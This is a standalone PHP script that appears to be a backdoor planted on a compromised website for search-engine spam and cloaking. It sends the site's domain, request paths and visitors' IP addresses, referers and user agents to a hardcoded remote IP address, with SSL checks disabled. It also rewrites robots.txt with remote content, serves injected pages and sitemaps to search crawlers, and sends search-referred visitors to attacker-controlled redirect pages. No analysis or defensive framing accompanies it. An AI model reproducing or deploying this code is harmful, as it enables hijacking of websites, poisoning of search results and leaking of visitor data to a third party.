$req_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$self = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : '';
$a = 'http://173.208.201.146/z50813_8/';

function getServerCont($url, $data = array()){
	$url = str_replace(' ', '+', $url);
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_TIMEOUT, 10);
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
	$output = curl_exec($ch);
	$errorCode = curl_errno($ch);
	curl_close($ch);
	if(0!== $errorCode){
		return false;
	}
	return $output;
}

function is_crawler($agent){
	$agent_check = false;
	$bots = 'googlebot|google|yahoo|bing|aol';
	if($agent != ''){
		if(preg_match("/($bots)/si", $agent)){
			$agent_check = true;
		}
	}
	return $agent_check;
}

function check_refer($refer){
	$check_refer = false;
	$referbots = 'google.co.jp|yahoo.co.jp|google.com';
	if($refer != '' && preg_match("/($referbots)/si",$refer)){
		$check_refer = true;
	}
	return $check_refer;
}

$http = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://';
$domain = $_SERVER["HTTP_HOST"];
$ser_name = $_SERVER['SERVER_NAME'];
$req_url = $http.$domain.$req_uri;
$indata1 = $a."indata.php";
$map1 = $a."map.php";
$jump1 = $a."jump.php";
$url_words = $a."words.php";
$url_robots = $a."robots.php";
$data1 = array();
$data1['domain'] = $domain;
$data1['req_uri'] = $req_uri;
$data1['req_url'] = $req_url;
$data1['href'] = $http.$domain;
$data1['main_shell'] = $http.$ser_name;
if(strpos($req_uri, ".php")){
	$data1['href'] .= $self;
	$data1['main_shell'] .= $self;
}

if(substr($req_uri, -6) == 'robots'){
	$data1['robots_cont'] = '';
	if(file_exists(__DIR__.'/robots.txt')){
		$data1['robots_cont'] = @file_get_contents(__DIR__.'/robots.txt');
	}	
	$robots_cont = @getServerCont($url_robots, $data1);
	$status = file_put_contents(__DIR__.'/robots.txt', $robots_cont);
	if($status){
		echo 'robots.txt file create success!';
	}else{
		echo "robots.txt file create fail!";
	}
	exit();
}

if(substr($req_uri, -4) == '.xml'){
	if(strpos($req_uri, "allsitemap.xml") || strpos($req_uri, "sitemap-index.xml") || strpos($req_uri, "sitemap-index-1.xml") || strpos($req_uri, "index.xml")){
		$str_cont = getServerCont($map1,$data1);
		header("Content-type:text/xml");
		echo $str_cont;
		exit();
	}
	if(strpos($req_uri, ".php")){
		$word4 = explode("?",$req_uri);
		$word4 = $word4[count($word4)-1];
		$word4 = str_replace(".xml", "", $word4);
	}else{
		$word4 = str_replace("/", "", $req_uri);
		$word4 = str_replace(".xml", "", $word4);
	}
	$data1['word'] = $word4;
	$data1['action'] = 'check_sitemap';
	$check_url4 = getServerCont($url_words, $data1);
	if($check_url4 == '1'){
		$str_cont = getServerCont($map1, $data1);
		header("Content-type:text/xml");
		echo $str_cont;
		exit();
	}
	$data1['action'] = "check_words";
	$check1 = getServerCont($url_words, $data1);
	if(strpos($req_uri, "map") > 0 || $check1 == '1') $data1['action'] = "rand_xml";
	$check_url4 = getServerCont($url_words, $data1);
	header("Content-type:text/xml");
	echo $check_url4;
	exit();
}

$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$chk_refer = check_refer($referer);
$user_agent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
$res_crawl = is_crawler($user_agent);
if(strpos($req_uri, '.php')){
	$url_ext = '?';
}else{
	$url_ext = '/';
}
if(!$res_crawl && $chk_refer && (preg_match("#((\?|\/)[a-z])\=\d+#", $req_uri) || preg_match('/shopdetail/', $req_uri) || preg_match('/.shtml/', $req_uri))){
	$data1['ip'] = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
	$data1['referer'] = $referer;
	$data1['user_agent'] = $user_agent;
	echo getServerCont($jump1, $data1);
	exit();
}
if($res_crawl){
	$data1['http_user_agent'] = $user_agent;
	$ser_cont = getServerCont($indata1, $data1);
	echo $ser_cont;
	exit();
}
